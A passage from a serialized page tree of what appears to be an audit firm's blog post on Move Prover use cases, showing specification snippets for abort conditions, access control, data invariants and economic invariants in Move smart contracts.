children":11422},{"style":598},[11423],{"type":28,"value":8797},{"type":23,"tag":504,"props":11425,"children":11426},{"style":1012},[11427],{"type":28,"value":8640},{"type":23,"tag":504,"props":11429,"children":11430},{"style":523},[11431],{"type":28,"value":866},{"type":23,"tag":504,"props":11433,"children":11434},{"class":506,"line":555},[11435,11439,11443,11447,11451],{"type":23,"tag":504,"props":11436,"children":11437},{"style":529},[11438],{"type":28,"value":9181},{"type":23,"tag":504,"props":11440,"children":11441},{"style":529},[11442],{"type":28,"value":8142},{"type":23,"tag":504,"props":11444,"children":11445},{"style":598},[11446],{"type":28,"value":2260},{"type":23,"tag":504,"props":11448,"children":11449},{"style":511},[11450],{"type":28,"value":1750},{"type":23,"tag":504,"props":11452,"children":11453},{"style":523},[11454],{"type":28,"value":866},{"type":23,"tag":504,"props":11456,"children":11457},{"class":506,"line":633},[11458],{"type":23,"tag":504,"props":11459,"children":11460},{"style":523},[11461],{"type":28,"value":884},{"type":23,"tag":24,"props":11463,"children":11464},{},[11465],{"type":28,"value":11466},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":494,"props":11468,"children":11469},{"code":10928},[11470],{"type":23,"tag":56,"props":11471,"children":11472},{"__ignoreMap":7},[11473],{"type":28,"value":10928},{"type":23,"tag":24,"props":11475,"children":11476},{},[11477,11479,11486],{"type":28,"value":11478},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":92,"props":11480,"children":11483},{"href":11481,"rel":11482},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[96],[11484],{"type":28,"value":11485},"spec-lang.md",{"type":28,"value":11487}," in the Move Repository.",{"type":23,"tag":70,"props":11489,"children":11491},{"id":11490},"use-cases",[11492],{"type":28,"value":11493},"Use Cases",{"type":23,"tag":24,"props":11495,"children":11496},{},[11497],{"type":28,"value":11498},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":11500,"children":11501},{},[11502],{"type":28,"value":11503},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":82,"props":11505,"children":11507},{"id":11506},"error-conditions",[11508],{"type":28,"value":11509},"Error Conditions",{"type":23,"tag":24,"props":11511,"children":11512},{},[11513,11515,11521],{"type":28,"value":11514},"Taking an example from ",{"type":23,"tag":56,"props":11516,"children":11518},{"className":11517},[],[11519],{"type":28,"value":11520},"std::fixed_point32",{"type":28,"value":11522},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":494,"props":11524,"children":11526},{"code":11525,"language":1956,"meta":7,"className":1957,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[11527],{"type":23,"tag":56,"props":11528,"children":11529},{"__ignoreMap":7},[11530,11551,11571,11592,11638,11646,11709,11748],{"type":23,"tag":504,"props":11531,"children":11532},{"class":506,"line":507},[11533,11537,11542,11547],{"type":23,"tag":504,"props":11534,"children":11535},{"style":529},[11536],{"type":28,"value":7912},{"type":23,"tag":504,"props":11538,"children":11539},{"style":529},[11540],{"type":28,"value":11541}," schema",{"type":23,"tag":504,"props":11543,"children":11544},{"style":1012},[11545],{"type":28,"value":11546}," MultiplyAbortsIf",{"type":23,"tag":504,"props":11548,"children":11549},{"style":523},[11550],{"type":28,"value":552},{"type":23,"tag":504,"props":11552,"children":11553},{"class":506,"line":540},[11554,11559,11563,11567],{"type":23,"tag":504,"props":11555,"children":11556},{"style":529},[11557],{"type":28,"value":11558},"          val",{"type":23,"tag":504,"props":11560,"children":11561},{"style":598},[11562],{"type":28,"value":3472},{"type":23,"tag":504,"props":11564,"children":11565},{"style":529},[11566],{"type":28,"value":8713},{"type":23,"tag":504,"props":11568,"children":11569},{"style":523},[11570],{"type":28,"value":866},{"type":23,"tag":504,"props":11572,"children":11573},{"class":506,"line":555},[11574,11579,11583,11588],{"type":23,"tag":504,"props":11575,"children":11576},{"style":529},[11577],{"type":28,"value":11578},"          multiplier",{"type":23,"tag":504,"props":11580,"children":11581},{"style":598},[11582],{"type":28,"value":3472},{"type":23,"tag":504,"props":11584,"children":11585},{"style":1012},[11586],{"type":28,"value":11587}," FixedPoint32",{"type":23,"tag":504,"props":11589,"children":11590},{"style":523},[11591],{"type":28,"value":866},{"type":23,"tag":504,"props":11593,"children":11594},{"class":506,"line":633},[11595,11600,11605,11609,11614,11618,11623,11628,11633],{"type":23,"tag":504,"props":11596,"children":11597},{"style":529},[11598],{"type":28,"value":11599},"          aborts_if",{"type":23,"tag":504,"props":11601,"children":11602},{"style":517},[11603],{"type":28,"value":11604}," spec_multiply_u64",{"type":23,"tag":504,"props":11606,"children":11607},{"style":523},[11608],{"type":28,"value":526},{"type":23,"tag":504,"props":11610,"children":11611},{"style":529},[11612],{"type":28,"value":11613},"val",{"type":23,"tag":504,"props":11615,"children":11616},{"style":523},[11617],{"type":28,"value":576},{"type":23,"tag":504,"props":11619,"children":11620},{"style":529},[11621],{"type":28,"value":11622},"multiplier",{"type":23,"tag":504,"props":11624,"children":11625},{"style":523},[11626],{"type":28,"value":11627},") > MAX_U64 ",{"type":23,"tag":504,"props":11629,"children":11630},{"style":529},[11631],{"type":28,"value":11632},"with",{"type":23,"tag":504,"props":11634,"children":11635},{"style":523},[11636],{"type":28,"value":11637}," EMULTIPLICATION;\n",{"type":23,"tag":504,"props":11639,"children":11640},{"class":506,"line":687},[11641],{"type":23,"tag":504,"props":11642,"children":11643},{"style":523},[11644],{"type":28,"value":11645},"      }\n",{"type":23,"tag":504,"props":11647,"children":11648},{"class":506,"line":736},[11649,11653,11657,11661,11665,11669,11673,11677,11681,11685,11689,11693,11697,11701,11705],{"type":23,"tag":504,"props":11650,"children":11651},{"style":529},[11652],{"type":28,"value":7912},{"type":23,"tag":504,"props":11654,"children":11655},{"style":529},[11656],{"type":28,"value":1051},{"type":23,"tag":504,"props":11658,"children":11659},{"style":517},[11660],{"type":28,"value":11604},{"type":23,"tag":504,"props":11662,"children":11663},{"style":523},[11664],{"type":28,"value":526},{"type":23,"tag":504,"props":11666,"children":11667},{"style":529},[11668],{"type":28,"value":11613},{"type":23,"tag":504,"props":11670,"children":11671},{"style":598},[11672],{"type":28,"value":3472},{"type":23,"tag":504,"props":11674,"children":11675},{"style":529},[11676],{"type":28,"value":8713},{"type":23,"tag":504,"props":11678,"children":11679},{"style":523},[11680],{"type":28,"value":576},{"type":23,"tag":504,"props":11682,"children":11683},{"style":529},[11684],{"type":28,"value":11622},{"type":23,"tag":504,"props":11686,"children":11687},{"style":598},[11688],{"type":28,"value":3472},{"type":23,"tag":504,"props":11690,"children":11691},{"style":1012},[11692],{"type":28,"value":11587},{"type":23,"tag":504,"props":11694,"children":11695},{"style":523},[11696],{"type":28,"value":2105},{"type":23,"tag":504,"props":11698,"children":11699},{"style":598},[11700],{"type":28,"value":3472},{"type":23,"tag":504,"props":11702,"children":11703},{"style":529},[11704],{"type":28,"value":8713},{"type":23,"tag":504,"props":11706,"children":11707},{"style":523},[11708],{"type":28,"value":552},{"type":23,"tag":504,"props":11710,"children":11711},{"class":506,"line":785},[11712,11716,11720,11724,11729,11733,11738,11743],{"type":23,"tag":504,"props":11713,"children":11714},{"style":523},[11715],{"type":28,"value":7693},{"type":23,"tag":504,"props":11717,"children":11718},{"style":529},[11719],{"type":28,"value":11613},{"type":23,"tag":504,"props":11721,"children":11722},{"style":598},[11723],{"type":28,"value":8797},{"type":23,"tag":504,"props":11725,"children":11726},{"style":529},[11727],{"type":28,"value":11728}," multiplier",{"type":23,"tag":504,"props":11730,"children":11731},{"style":598},[11732],{"type":28,"value":320},{"type":23,"tag":504,"props":11734,"children":11735},{"style":523},[11736],{"type":28,"value":11737},"value) ",{"type":23,"tag":504,"props":11739,"children":11740},{"style":598},[11741],{"type":28,"value":11742},">>",{"type":23,"tag":504,"props":11744,"children":11745},{"style":1440},[11746],{"type":28,"value":11747}," 32\n",{"type":23,"tag":504,"props":11749,"children":11750},{"class":506,"line":813},[11751],{"type":23,"tag":504,"props":11752,"children":11753},{"style":523},[11754],{"type":28,"value":11645},{"type":23,"tag":82,"props":11756,"children":11758},{"id":11757},"access-control-policies",[11759],{"type":28,"value":11760},"Access Control Policies",{"type":23,"tag":24,"props":11762,"children":11763},{},[11764],{"type":28,"value":11765},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":11767,"children":11768},{},[11769,11771,11777,11779,11784],{"type":28,"value":11770},"For example, in ",{"type":23,"tag":56,"props":11772,"children":11774},{"className":11773},[],[11775],{"type":28,"value":11776},"std::offer",{"type":28,"value":11778}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":1887,"props":11780,"children":11781},{},[11782],{"type":28,"value":11783},"or",{"type":28,"value":11785}," the recipient is now allowed.",{"type":23,"tag":494,"props":11787,"children":11789},{"code":11788,"language":1956,"meta":7,"className":1957,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[11790],{"type":23,"tag":56,"props":11791,"children":11792},{"__ignoreMap":7},[11793,11810,11818,11826,11834,11881,11939,11982,12048],{"type":23,"tag":504,"props":11794,"children":11795},{"class":506,"line":507},[11796,11801,11806],{"type":23,"tag":504,"props":11797,"children":11798},{"style":529},[11799],{"type":28,"value":11800},"    spec",{"type":23,"tag":504,"props":11802,"children":11803},{"style":529},[11804],{"type":28,"value":11805}," redeem",{"type":23,"tag":504,"props":11807,"children":11808},{"style":523},[11809],{"type":28,"value":552},{"type":23,"tag":504,"props":11811,"children":11812},{"class":506,"line":540},[11813],{"type":23,"tag":504,"props":11814,"children":11815},{"style":1106},[11816],{"type":28,"value":11817},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":504,"props":11819,"children":11820},{"class":506,"line":555},[11821],{"type":23,"tag":504,"props":11822,"children":11823},{"style":1106},[11824],{"type":28,"value":11825},"      /// cannot redeem the offer.\n",{"type":23,"tag":504,"props":11827,"children":11828},{"class":506,"line":633},[11829],{"type":23,"tag":504,"props":11830,"children":11831},{"style":1106},[11832],{"type":28,"value":11833},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":504,"props":11835,"children":11836},{"class":506,"line":687},[11837,11841,11846,11850,11854,11859,11863,11868,11872,11877],{"type":23,"tag":504,"props":11838,"children":11839},{"style":529},[11840],{"type":28,"value":8036},{"type":23,"tag":504,"props":11842,"children":11843},{"style":598},[11844],{"type":28,"value":11845}," !",{"type":23,"tag":504,"props":11847,"children":11848},{"style":529},[11849],{"type":28,"value":5688},{"type":23,"tag":504,"props":11851,"children":11852},{"style":523},[11853],{"type":28,"value":4789},{"type":23,"tag":504,"props":11855,"children":11856},{"style":1012},[11857],{"type":28,"value":11858},"Offer",{"type":23,"tag":504,"props":11860,"children":11861},{"style":523},[11862],{"type":28,"value":4789},{"type":23,"tag":504,"props":11864,"children":11865},{"style":1012},[11866],{"type":28,"value":11867},"Offered",{"type":23,"tag":504,"props":11869,"children":11870},{"style":523},[11871],{"type":28,"value":5710},{"type":23,"tag":504,"props":11873,"children":11874},{"style":529},[11875],{"type":28,"value":11876},"offer_address",{"type":23,"tag":504,"props":11878,"children":11879},{"style":523},[11880],{"type":28,"value":630},{"type":23,"tag":504,"props":11882,"children":11883},{"class":506,"line":736},[11884,11888,11892,11897,11901,11905,11909,11913,11918,11922,11926,11930,11935],{"type":23,"tag":504,"props":11885,"children":11886},{"style":529},[11887],{"type":28,"value":8036},{"type":23,"tag":504,"props":11889,"children":11890},{"style":598},[11891],{"type":28,"value":11845},{"type":23,"tag":504,"props":11893,"children":11894},{"style":529},[11895],{"type":28,"value":11896},"is_allowed_recipient",{"type":23,"tag":504,"props":11898,"children":11899},{"style":523},[11900],{"type":28,"value":4789},{"type":23,"tag":504,"props":11902,"children":11903},{"style":1012},[11904],{"type":28,"value":11867},{"type":23,"tag":504,"props":11906,"children":11907},{"style":523},[11908],{"type":28,"value":6594},{"type":23,"tag":504,"props":11910,"children":11911},{"style":529},[11912],{"type":28,"value":11876},{"type":23,"tag":504,"props":11914,"children":11915},{"style":523},[11916],{"type":28,"value":11917},", signer",{"type":23,"tag":504,"props":11919,"children":11920},{"style":598},[11921],{"type":28,"value":2457},{"type":23,"tag":504,"props":11923,"children":11924},{"style":517},[11925],{"type":28,"value":6193},{"type":23,"tag":504,"props":11927,"children":11928},{"style":523},[11929],{"type":28,"value":526},{"type":23,"tag":504,"props":11931,"children":11932},{"style":529},[11933],{"type":28,"value":11934},"account",{"type":23,"tag":504,"props":11936,"children":11937},{"style":523},[11938],{"type":28,"value":684},{"type":23,"tag":504,"props":11940,"children":11941},{"class":506,"line":785},[11942,11946,11950,11954,11958,11962,11966,11970,11974,11978],{"type":23,"tag":504,"props":11943,"children":11944},{"style":529},[11945],{"type":28,"value":7170},{"type":23,"tag":504,"props":11947,"children":11948},{"style":598},[11949],{"type":28,"value":11845},{"type":23,"tag":504,"props":11951,"children":11952},{"style":529},[11953],{"type":28,"value":5688},{"type":23,"tag":504,"props":11955,"children":11956},{"style":523},[11957],{"type":28,"value":4789},{"type":23,"tag":504,"props":11959,"children":11960},{"style":1012},[11961],{"type":28,"value":11858},{"type":23,"tag":504,"props":11963,"children":11964},{"style":523},[11965],{"type":28,"value":4789},{"type":23,"tag":504,"props":11967,"children":11968},{"style":1012},[11969],{"type":28,"value":11867},{"type":23,"tag":504,"props":11971,"children":11972},{"style":523},[11973],{"type":28,"value":5710},{"type":23,"tag":504,"props":11975,"children":11976},{"style":529},[11977],{"type":28,"value":11876},{"type":23,"tag":504,"props":11979,"children":11980},{"style":523},[11981],{"type":28,"value":630},{"type":23,"tag":504,"props":11983,"children":11984},{"class":506,"line":813},[11985,11989,11993,11997,12002,12006,12011,12015,12019,12023,12027,12031,12035,12039,12043],{"type":23,"tag":504,"props":11986,"children":11987},{"style":529},[11988],{"type":28,"value":7170},{"type":23,"tag":504,"props":11990,"children":11991},{"style":529},[11992],{"type":28,"value":8142},{"type":23,"tag":504,"props":11994,"children":11995},{"style":598},[11996],{"type":28,"value":2260},{"type":23,"tag":504,"props":11998,"children":11999},{"style":517},[12000],{"type":28,"value":12001}," old",{"type":23,"tag":504,"props":12003,"children":12004},{"style":523},[12005],{"type":28,"value":526},{"type":23,"tag":504,"props":12007,"children":12008},{"style":529},[12009],{"type":28,"value":12010},"global",{"type":23,"tag":504,"props":12012,"children":12013},{"style":523},[12014],{"type":28,"value":4789},{"type":23,"tag":504,"props":12016,"children":12017},{"style":1012},[12018],{"type":28,"value":11858},{"type":23,"tag":504,"props":12020,"children":12021},{"style":523},[12022],{"type":28,"value":4789},{"type":23,"tag":504,"props":12024,"children":12025},{"style":1012},[12026],{"type":28,"value":11867},{"type":23,"tag":504,"props":12028,"children":12029},{"style":523},[12030],{"type":28,"value":5710},{"type":23,"tag":504,"props":12032,"children":12033},{"style":529},[12034],{"type":28,"value":11876},{"type":23,"tag":504,"props":12036,"children":12037},{"style":523},[12038],{"type":28,"value":2105},{"type":23,"tag":504,"props":12040,"children":12041},{"style":598},[12042],{"type":28,"value":320},{"type":23,"tag":504,"props":12044,"children":12045},{"style":523},[12046],{"type":28,"value":12047},"offered);\n",{"type":23,"tag":504,"props":12049,"children":12050},{"class":506,"line":851},[12051],{"type":23,"tag":504,"props":12052,"children":12053},{"style":523},[12054],{"type":28,"value":875},{"type":23,"tag":24,"props":12056,"children":12057},{},[12058],{"type":28,"value":12059},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":82,"props":12061,"children":12063},{"id":12062},"complex-mathematical-formulae",[12064],{"type":28,"value":12065},"Complex Mathematical Formulae",{"type":23,"tag":24,"props":12067,"children":12068},{},[12069,12071,12076],{"type":28,"value":12070},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":1887,"props":12072,"children":12073},{},[12074],{"type":28,"value":12075},"always",{"type":28,"value":12077}," the output.",{"type":23,"tag":24,"props":12079,"children":12080},{},[12081],{"type":28,"value":12082},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":24,"props":12084,"children":12085},{},[12086,12088,12095],{"type":28,"value":12087},"For example, in our work with ",{"type":23,"tag":92,"props":12089,"children":12092},{"href":12090,"rel":12091},"https://laminar.markets/",[96],[12093],{"type":28,"value":12094},"Laminar Markets",{"type":28,"value":12096},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":82,"props":12098,"children":12100},{"id":12099},"data-invariants",[12101],{"type":28,"value":12102},"Data Invariants",{"type":23,"tag":24,"props":12104,"children":12105},{},[12106,12108,12114,12115,12121,12123,12129,12131,12137],{"type":28,"value":12107},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":56,"props":12109,"children":12111},{"className":12110},[],[12112],{"type":28,"value":12113},"variables",{"type":28,"value":459},{"type":23,"tag":56,"props":12116,"children":12118},{"className":12117},[],[12119],{"type":28,"value":12120},"resources",{"type":28,"value":12122}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":56,"props":12124,"children":12126},{"className":12125},[],[12127],{"type":28,"value":12128},"index",{"type":28,"value":12130}," is never greater than 4 using a ",{"type":23,"tag":56,"props":12132,"children":12134},{"className":12133},[],[12135],{"type":28,"value":12136},"struct invariant",{"type":28,"value":320},{"type":23,"tag":494,"props":12139,"children":12141},{"code":12140,"language":1956,"meta":7,"className":1957,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[12142],{"type":23,"tag":56,"props":12143,"children":12144},{"__ignoreMap":7},[12145,12161,12178,12185,12192,12207,12231],{"type":23,"tag":504,"props":12146,"children":12147},{"class":506,"line":507},[12148,12152,12157],{"type":23,"tag":504,"props":12149,"children":12150},{"style":511},[12151],{"type":28,"value":8383},{"type":23,"tag":504,"props":12153,"children":12154},{"style":1012},[12155],{"type":28,"value":12156}," Type",{"type":23,"tag":504,"props":12158,"children":12159},{"style":523},[12160],{"type":28,"value":552},{"type":23,"tag":504,"props":12162,"children":12163},{"class":506,"line":540},[12164,12169,12173],{"type":23,"tag":504,"props":12165,"children":12166},{"style":529},[12167],{"type":28,"value":12168},"    index",{"type":23,"tag":504,"props":12170,"children":12171},{"style":598},[12172],{"type":28,"value":3472},{"type":23,"tag":504,"props":12174,"children":12175},{"style":1012},[12176],{"type":28,"value":12177}," u64\n",{"type":23,"tag":504,"props":12179,"children":12180},{"class":506,"line":555},[12181],{"type":23,"tag":504,"props":12182,"children":12183},{"style":523},[12184],{"type":28,"value":884},{"type":23,"tag":504,"props":12186,"children":12187},{"class":506,"line":633},[12188],{"type":23,"tag":504,"props":12189,"children":12190},{"emptyLinePlaceholder":16},[12191],{"type":28,"value":1038},{"type":23,"tag":504,"props":12193,"children":12194},{"class":506,"line":687},[12195,12199,12203],{"type":23,"tag":504,"props":12196,"children":12197},{"style":529},[12198],{"type":28,"value":7258},{"type":23,"tag":504,"props":12200,"children":12201},{"style":1012},[12202],{"type":28,"value":12156},{"type":23,"tag":504,"props":12204,"children":12205},{"style":523},[12206],{"type":28,"value":552},{"type":23,"tag":504,"props":12208,"children":12209},{"class":506,"line":736},[12210,12214,12219,12223,12227],{"type":23,"tag":504,"props":12211,"children":12212},{"style":529},[12213],{"type":28,"value":7275},{"type":23,"tag":504,"props":12215,"children":12216},{"style":529},[12217],{"type":28,"value":12218}," index",{"type":23,"tag":504,"props":12220,"children":12221},{"style":598},[12222],{"type":28,"value":7702},{"type":23,"tag":504,"props":12224,"children":12225},{"style":1440},[12226],{"type":28,"value":10727},{"type":23,"tag":504,"props":12228,"children":12229},{"style":523},[12230],{"type":28,"value":866},{"type":23,"tag":504,"props":12232,"children":12233},{"class":506,"line":785},[12234],{"type":23,"tag":504,"props":12235,"children":12236},{"style":523},[12237],{"type":28,"value":884},{"type":23,"tag":24,"props":12239,"children":12240},{},[12241,12243,12250,12251,12257],{"type":28,"value":12242},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":92,"props":12244,"children":12247},{"href":12245,"rel":12246},"https://layerzero.network/",[96],[12248],{"type":28,"value":12249},"LayerZero",{"type":28,"value":430},{"type":23,"tag":92,"props":12252,"children":12255},{"href":12253,"rel":12254},"http://ariesmarkets.xyz/",[96],[12256],{"type":28,"value":5774},{"type":28,"value":12258},", but the details are left as an exercise to the reader.",{"type":23,"tag":82,"props":12260,"children":12262},{"id":12261},"economic-invariants",[12263],{"type":28,"value":12264},"Economic Invariants.",{"type":23,"tag":24,"props":12266,"children":12267},{},[12268],{"type":28,"value":12269},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":24,"props":12271,"children":12272},{},[12273],{"type":28,"value":12274},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":494,"props":12276,"children":12277},{"code":6950,"language":1956,"meta":7,"className":1957,"style":7},[12278],{"type":23,"tag":56,"props":12279,"children":12280},{"__ignoreMap":7},[12281,12288,12371,12410,12429,12436,12451,12474,12497,12520],{"type":23,"tag":504,"props":12282,"children":12283},{"class":506,"line":507},[12284],{"type":23,"tag":504,"props":12285,"children":12286},{"style":1106},[12287],{"type":28,"value":6962},{"type":23,"tag":504,"props":12289,"children":12290},{"class":506,"line":540},[12291,12295,12299,12303,12307,12311,12315,12319,12323,12327,12331,12335,12339,12343,12347,12351,12355,12359,12363,12367],{"type":23,"tag":504,"props":12292,"children":12293},{"style":529},[12294],{"type":28,"value":5553},{"type":23,"tag":504,"props":12296,"children":12297},{"style":517},[12298],{"type":28,"value":6974},{"type":23,"tag":504,"props":12300,"children":12301},{"style":523},[12302],{"type":28,"value":526},{"type":23,"tag":504,"props":12304,"children":12305},{"style":529},[12306],{"type":28,"value":6983},{"type":23,"tag":504,"props":12308,"children":12309},{"style":598},[12310],{"type":28,"value":3472},{"type":23,"tag":504,"props":12312,"children":12313},{"style":1012},[12314],{"type":28,"value":4843},{"type":23,"tag":504,"props":12316,"children":12317},{"style":523},[12318],{"type":28,"value":576},{"type":23,"tag":504,"props":12320,"children":12321},{"style":529},[12322],{"type":28,"value":7000},{"type":23,"tag":504,"props":12324,"children":12325},{"style":598},[12326],{"type":28,"value":3472},{"type":23,"tag":504,"props":12328,"children":12329},{"style":1012},[12330],{"type":28,"value":4843},{"type":23,"tag":504,"props":12332,"children":12333},{"style":523},[12334],{"type":28,"value":2105},{"type":23,"tag":504,"props":12336,"children":12337},{"style":598},[12338],{"type":28,"value":3472},{"type":23,"tag":504,"props":12340,"children":12341},{"style":523},[12342],{"type":28,"value":801},{"type":23,"tag":504,"props":12344,"children":12345},{"style":1012},[12346],{"type":28,"value":7025},{"type":23,"tag":504,"props":12348,"children":12349},{"style":523},[12350],{"type":28,"value":576},{"type":23,"tag":504,"props":12352,"children":12353},{"style":1012},[12354],{"type":28,"value":7025},{"type":23,"tag":504,"props":12356,"children":12357},{"style":523},[12358],{"type":28,"value":2064},{"type":23,"tag":504,"props":12360,"children":12361},{"style":529},[12362],{"type":28,"value":5327},{"type":23,"tag":504,"props":12364,"children":12365},{"style":1012},[12366],{"type":28,"value":7046},{"type":23,"tag":504,"props":12368,"children":12369},{"style":523},[12370],{"type":28,"value":552},{"type":23,"tag":504,"props":12372,"children":12373},{"class":506,"line":555},[12374,12378,12382,12386,12390,12394,12398,12402,12406],{"type":23,"tag":504,"props":12375,"children":12376},{"style":511},[12377],{"type":28,"value":7058},{"type":23,"tag":504,"props":12379,"children":12380},{"style":529},[12381],{"type":28,"value":7063},{"type":23,"tag":504,"props":12383,"children":12384},{"style":598},[12385],{"type":28,"value":648},{"type":23,"tag":504,"props":12387,"children":12388},{"style":517},[12389],{"type":28,"value":7072},{"type":23,"tag":504,"props":12391,"children":12392},{"style":523},[12393],{"type":28,"value":526},{"type":23,"tag":504,"props":12395,"children":12396},{"style":529},[12397],{"type":28,"value":6983},{"type":23,"tag":504,"props":12399,"children":12400},{"style":523},[12401],{"type":28,"value":576},{"type":23,"tag":504,"props":12403,"children":12404},{"style":529},[12405],{"type":28,"value":7000},{"type":23,"tag":504,"props":12407,"children":12408},{"style":523},[12409],{"type":28,"value":630},{"type":23,"tag":504,"props":12411,"children":12412},{"class":506,"line":633},[12413,12417,12421,12425],{"type":23,"tag":504,"props":12414,"children":12415},{"style":517},[12416],{"type":28,"value":7100},{"type":23,"tag":504,"props":12418,"children":12419},{"style":523},[12420],{"type":28,"value":526},{"type":23,"tag":504,"props":12422,"children":12423},{"style":529},[12424],{"type":28,"value":7109},{"type":23,"tag":504,"props":12426,"children":12427},{"style":523},[12428],{"type":28,"value":1192},{"type":23,"tag":504,"props":12430,"children":12431},{"class":506,"line":687},[12432],{"type":23,"tag":504,"props":12433,"children":12434},{"style":523},[12435],{"type":28,"value":4855},{"type":23,"tag":504,"props":12437,"children":12438},{"class":506,"line":736},[12439,12443,12447],{"type":23,"tag":504,"props":12440,"children":12441},{"style":529},[12442],{"type":28,"value":7128},{"type":23,"tag":504,"props":12444,"children":12445},{"style":529},[12446],{"type":28,"value":6974},{"type":23,"tag":504,"props":12448,"children":12449},{"style":523},[12450],{"type":28,"value":552},{"type":23,"tag":504,"props":12452,"children":12453},{"class":506,"line":785},[12454,12458,12462,12466,12470],{"type":23,"tag":504,"props":12455,"children":12456},{"style":529},[12457],{"type":28,"value":7144},{"type":23,"tag":504,"props":12459,"children":12460},{"style":529},[12461],{"type":28,"value":7149},{"type":23,"tag":504,"props":12463,"children":12464},{"style":598},[12465],{"type":28,"value":601},{"type":23,"tag":504,"props":12467,"children":12468},{"style":511},[12469],{"type":28,"value":7158},{"type":23,"tag":504,"props":12471,"children":12472},{"style":523},[12473],{"type":28,"value":866},{"type":23,"tag":504,"props":12475,"children":12476},{"class":506,"line":813},[12477,12481,12485,12489,12493],{"type":23,"tag":504,"props":12478,"children":12479},{"style":529},[12480],{"type":28,"value":7170},{"type":23,"tag":504,"props":12482,"children":12483},{"style":529},[12484],{"type":28,"value":7175},{"type":23,"tag":504,"props":12486,"children":12487},{"style":598},[12488],{"type":28,"value":7180},{"type":23,"tag":504,"props":12490,"children":12491},{"style":529},[12492],{"type":28,"value":7185},{"type":23,"tag":504,"props":12494,"children":12495},{"style":523},[12496],{"type":28,"value":866},{"type":23,"tag":504,"props":12498,"children":12499},{"class":506,"line":851},[12500,12504,12508,12512,12516],{"type":23,"tag":504,"props":12501,"children":12502},{"style":529},[12503],{"type":28,"value":7170},{"type":23,"tag":504,"props":12505,"children":12506},{"style":529},[12507],{"type":28,"value":7201},{"type":23,"tag":504,"props":12509,"children":12510},{"style":598},[12511],{"type":28,"value":7180},{"type":23,"tag":504,"props":12513,"children":12514},{"style":529},[12515],{"type":28,"value":7210},{"type":23,"tag":504,"props":12517,"children":12518},{"style":523},[12519],{"type":28,"value":866},{"type":23,"tag":504,"props":12521,"children":12522},{"class":506,"line":869},[12523],{"type":23,"tag":504,"props":12524,"children":12525},{"style":523},[12526],{"type":28,"value":4855},{"type":23,"tag":24,"props":12528,"children":12529},{},[12530],{"type":28,"value":12531},"Some other ideas include",{"type":23,"tag":41,"props":12533,"children":12534},{},[12535,12540,12545],{"type":23,"tag":45,"props":12536,"children":12537},{},[12538],{"type":28,"value":12539},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":45,"props":12541,"children":12542},{},[12543],{"type":28,"value":12544},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":45,"props":12546,"children":12547},{},[12548],{"type":28,"value":12549},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":70,"props":12551,"children":12552},{"id":4292},[12553],{"type":28,"value":4295},{"type":23,"tag":24,"props":12555,"children":12556},{},[12557],{"type":28,"value":12558},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":12560,"children":12561},{},[12562],{"type":28,"value":12563},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":12565,"children":12566},{},[12567,12569,12574],{"type":28,"value":12568},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me 